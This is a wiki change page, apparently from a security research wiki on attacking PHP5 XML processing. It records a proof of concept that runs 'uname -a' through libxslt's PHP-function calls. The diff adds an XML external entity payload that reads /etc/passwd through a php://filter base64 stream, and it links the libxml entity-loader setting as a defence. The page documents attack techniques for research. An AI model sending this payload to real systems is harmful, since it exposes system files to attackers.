Changes for page Application_PHP5

Last modified by Nicolas Gregoire on 2012/02/02 17:29
From version Icon 19.1 Icon
edited by Nicolas Gregoire
on 2012/01/18 22:39
Change comment: There is no comment for this version
To version Icon 20.1
edited by Nicolas Gregoire
on 2012/02/02 17:29
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Content
... ... @@ -25,3 +25,17 @@
25 25  | http:~/~/php.net/xsl| Any PHP function|[[execute-code-via-libxslt.php>>attach:execute-code-via-libxslt.php]]| A call to registerPHPFunctions() is needed
26 26  
27 27  The attached [[execute-code-via-libxslt.php>>attach:execute-code-via-libxslt.php]] PoC will use the passthru() PHP function to execute "uname -a".
28 +
29 += Reading binary files via PHP filters =
30 +
31 +{{warning}}
32 +Untested : could we read binary files too ?
33 +{{/warning}}
34 +
35 +<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
36 +<scan>&test;</scan>
37 +Source : http://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/
38 +
39 += Anti XEE =
40 +
41 +http://www.php.net/manual/en/function.libxml-disable-entity-loader.php